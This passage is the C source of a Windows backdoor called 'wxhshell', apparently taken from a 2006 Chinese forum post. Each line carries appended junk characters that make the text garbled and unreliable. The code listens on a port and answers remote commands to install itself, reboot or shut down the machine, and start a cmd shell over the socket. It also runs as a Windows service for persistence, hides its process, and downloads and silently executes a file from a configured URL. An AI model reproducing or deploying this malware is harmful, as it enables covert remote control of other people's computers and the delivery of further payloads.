  } *"% MT:  
  else { GsG9;6c+u  
~ 3HI;  
    switch(cmd[0]) { }g?9 /)z  
  nvyyV\w  
  // 帮助 vT7ei"~&u  
  case '?': { /wj L<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KLc<c1BZ  
    break; >#MGGCGL  
  } dB^')-wA  
  // 安装 (S@H'G"  
  case 'i': { m>@$T x  
    if(Install()) u/@dWeY[]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mxpncM=q  
    else b ~Qd9 Nf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fYU-pdWPT  
    break; {FavF 9O  
    } ={a8=E!;  
  // 卸载 415 95x:  
  case 'r': { D;V FM P  
    if(Uninstall()) CVi3nS5Yl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 w"&9+kV  
    else <3!jra,h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h4xRRyK  
    break; jocu=Se@  
    } [-@Lbu-|  
  // 显示 wxhshell 所在路径 vM}oxhQ$n  
  case 'p': { kCRP?sj  
    char svExeFile[MAX_PATH]; >^@/Ba$h  
    strcpy(svExeFile,"\n\r"); Q6cF <L`bW  
      strcat(svExeFile,ExeFile); <%(nF+rQA"  
        send(wsh,svExeFile,strlen(svExeFile),0); D/CSR=b  
    break; crJyk#_  
    } 3 *o l  
  // 重启 1or4s{bmo  
  case 'b': { (~r"N?`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <B;l).[6  
    if(Boot(REBOOT)) r lalr+Rf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^n|u$gIF8  
    else { #^- U|~,  
    closesocket(wsh); 29?{QJb  
    ExitThread(0); :bLLN  
    } <Gy)|qpK[  
    break; +oY[uF  
    } _u^ S[  
  // 关机 zR'lQ<u  
  case 'd': { /5@V $c8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +2kJuoj:  
    if(Boot(SHUTDOWN)) g/b_\__A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZGHkW9b&  
    else { qV$\.T>x  
    closesocket(wsh); Y~T;{&wi  
    ExitThread(0); "CdL?(  
    } 'AX/?Srd  
    break; .17WF\1HC.  
    } "-Lbz)k  
  // 获取shell ^+zF;Q'  
  case 's': { NhyVX%qt:  
    CmdShell(wsh); 2*6b{}yJH  
    closesocket(wsh); !M&L<0b:7e  
    ExitThread(0); LYPjdp2>"o  
    break; p4;A[2Ot`:  
  } 33lD`4i+  
  // 退出 )miY>7K  
  case 'x': { UdmYS3zs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6 6x> *  
    CloseIt(wsh); Ey$J.qw3  
    break; 'dYjbQ}~;  
    } cB U,!  
  // 离开 MR/jM@8  
  case 'q': { =j]us?5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [ Y_6PR  
    closesocket(wsh); &Avd  
    WSACleanup(); Paz yY   
    exit(1); 'v.i' 6  
    break; zhbp"yju7  
        } $\l7aA5~  
  } s5T$>+ a  
  } m!3L/UZ  
> $0eRVL  
  // 提示信息 6R V]9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JnCp'`  
} jW5n^Y)  
  } [L 0`B9TD~  
)&}\2NK6L  
  return; zXQ o pQ1  
} ;/#E!Ja/ u  
`JyTS~v$  
// shell模块句柄 CZ*c["x2  
int CmdShell(SOCKET sock) QLYb>8?"C  
{ A-e#&pJ  
STARTUPINFO si; >VnkgY  
ZeroMemory(&si,sizeof(si)); 'awL!P--  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <:)T7yVq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S~fQ8t70  
PROCESS_INFORMATION ProcessInfo; +v:t  
char cmdline[]="cmd"; D4[1CQ@}4D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `f`\j -Lu  
  return 0; }:C4T*|  
} 1TbY,3W  
6%Ap/zvCZ>  
// 自身启动模式 WmTSxneo  
int StartFromService(void) 2@ vSe  
{ &/*XA  
typedef struct 9,=3D2x&  
{ RWtD81(oC'  
  DWORD ExitStatus; [=079UN-X  
  DWORD PebBaseAddress; vR<Y1<j  
  DWORD AffinityMask; =8S*t5  
  DWORD BasePriority; Qrjo@_+w!  
  ULONG UniqueProcessId; `#B|l+baq  
  ULONG InheritedFromUniqueProcessId; $wUFHEl  
}   PROCESS_BASIC_INFORMATION; Ub=g<MYHV  
ss'#sPX  
PROCNTQSIP NtQueryInformationProcess; )K.~A&y@  
'F3Xb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4]O{Nko)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K.c6n,'  
!a?$  
  HANDLE             hProcess; @G< J+pm  
  PROCESS_BASIC_INFORMATION pbi; 3 RG*:9  
r# MJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K5gh7  
  if(NULL == hInst ) return 0; $}&Y$w>S  
<4S Y'-w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |f1 S&b.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :GXiA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XB,  2+  
8 hx4N  
  if (!NtQueryInformationProcess) return 0; d:*,HzG  
(@*[^@ipV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s>(OK.o  
  if(!hProcess) return 0; yi*)g0M  
I\E`xkbBu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UN#XP$utY  
W1S7%6y_1  
  CloseHandle(hProcess); c}GmS@  
,.[T]37  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  nN1\  
if(hProcess==NULL) return 0; p2 u*{k{  
s<VNW  
HMODULE hMod; bb}zn'xC  
char procName[255]; $qG;^1$  
unsigned long cbNeeded; y<(q<V#0!S  
N>##} i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _7es_w}R  
3T^f#UT  
  CloseHandle(hProcess); Q qGf*  
u;p.:{'  
if(strstr(procName,"services")) return 1; // 以服务启动 ?145^ w  
/H.w0fu&.S  
  return 0; // 注册表启动 [.Vy  
} A\p'\@f  
CY~]lQ  
// 主模块 As0E'n85  
int StartWxhshell(LPSTR lpCmdLine) U;QTA8|!&  
{ wdg,dk9e$  
  SOCKET wsl; Ji4xor  
BOOL val=TRUE; _N!L?b83P  
  int port=0; -xs @rV`  
  struct sockaddr_in door; {FRUB(68b  
2noKy}q  
  if(wscfg.ws_autoins) Install(); CT5\8C  
y#F`yXUj  
port=atoi(lpCmdLine); s2=rj?g&(X  
_8x:%$   
if(port<=0) port=wscfg.ws_port; T DOOq;+  
"B`k  
  WSADATA data; ~D# -i >Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fA"N5qQI(  
NG3!09eY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EB R,j_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !p$HS0c  
  door.sin_family = AF_INET; '5xIisP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UrtA]pc3L  
  door.sin_port = htons(port); %N5gQXg  
B(tLV9B3Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cbe&SxJ  
closesocket(wsl); >YG1sMV-J  
return 1; zT$-%  
} <Y%km[Mh  
wW2b?b{*Z  
  if(listen(wsl,2) == INVALID_SOCKET) { 2to~=/.  
closesocket(wsl); )~W 35  
return 1; $sF'Sr{)y  
} 0"l*8%g  
  Wxhshell(wsl); {jz?LM  
  WSACleanup(); ]b5E_/P  
j v9DQr  
return 0; &CP0T:h  
r?cDyQE  
} 0,a/t jSr  
RRSkXDU}  
// 以NT服务方式启动 : jgvg$fd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >O0z+tj  
{ R=Qa54  
DWORD   status = 0; T}fH  
  DWORD   specificError = 0xfffffff; (!'=?B "  
+]?/c>M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _#f+@)vR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w4:|Z@I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NT(gXEZ  
  serviceStatus.dwWin32ExitCode     = 0; = ;tDYuFc!  
  serviceStatus.dwServiceSpecificExitCode = 0; LYTx8  
  serviceStatus.dwCheckPoint       = 0; D1xIRyc/  
  serviceStatus.dwWaitHint       = 0; jVW .=FK  
|[6jf!F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IZ9L ;"}  
  if (hServiceStatusHandle==0) return; +=_^4  
W~" 'a9H/  
status = GetLastError(); aC!e#(q  
  if (status!=NO_ERROR) zY11.!2  
{ *yx5G-#?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /-C`*P=:u  
    serviceStatus.dwCheckPoint       = 0; QmHj=s:x\  
    serviceStatus.dwWaitHint       = 0; [nSlkl   
    serviceStatus.dwWin32ExitCode     = status; z2.9l?"rfQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; l g0 'qH8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); adCTo  
    return; 3bWYRW  
  } cA,`!dG2,  
c@|!0 U%j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @%FLT6MY  
  serviceStatus.dwCheckPoint       = 0; N~=,RPjq  
  serviceStatus.dwWaitHint       = 0; UrC>n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n0\k(@+k  
} \OzPDN  
?'xwr )v  
// 处理NT服务事件,比如:启动、停止 U{`Q_Uw@$:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z 91{*?  
{ J2_~iC&;s  
switch(fdwControl) &EUI  
{ :m&cm%W]ts  
case SERVICE_CONTROL_STOP: Q<c{$o  
  serviceStatus.dwWin32ExitCode = 0; YK{E=<:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; og?>Q i Tr  
  serviceStatus.dwCheckPoint   = 0; e> zv+9'Q  
  serviceStatus.dwWaitHint     = 0; _ArN[]Z  
  { +sm9H"_0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c W^  
  } p;P cD  
  return; sA:k8aj  
case SERVICE_CONTROL_PAUSE: M|9=B<6`7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k3VRa|Y")  
  break; )ad6>Y  
case SERVICE_CONTROL_CONTINUE: $guaUe[x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )o N#%%SB<  
  break; i"OY=iw-N  
case SERVICE_CONTROL_INTERROGATE: rZkl0Y;n\  
  break; X{-901J1  
}; cIB[D.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F&)(G\  
} hNUkaP  
B nu5\P  
// 标准应用程序主函数 nmy!.0SQ-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^hyp}WN  
{ "H3DmsB  
bc%N !d  
// 获取操作系统版本 Tp&7CNl|  
OsIsNt=GetOsVer(); vf/|b6'y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;Vlt4,s)  
+H6cZ,  
  // 从命令行安装 E0_S+`o2y  
  if(strpbrk(lpCmdLine,"iI")) Install(); du_TiI  
l<dtc[  
  // 下载执行文件 3.@ I\p}  
if(wscfg.ws_downexe) { h$2lO^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  zPW_  
  WinExec(wscfg.ws_filenam,SW_HIDE); ! ~3zp L  
} &p83X  
x/,(G~  
if(!OsIsNt) { /4 %ycr6  
// 如果时win9x,隐藏进程并且设置为注册表启动 `71(wf1q[f  
HideProc(); ~X<Ie9m1x  
StartWxhshell(lpCmdLine); G Q])y  
} fiZq C?(  
else \ ix& U  
  if(StartFromService()) P`]p&:  
  // 以服务方式启动 Ers8J V  
  StartServiceCtrlDispatcher(DispatchTable); aZB$%#'vR  
else F_z1ey`t  
  // 普通方式启动 3.E3}Jz`  
  StartWxhshell(lpCmdLine); NjP7?nXSx  
ZJ'Tb<fP  
return 0;  >Q% FW  
}
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只看该作者 1 发表于: 2006-10-10
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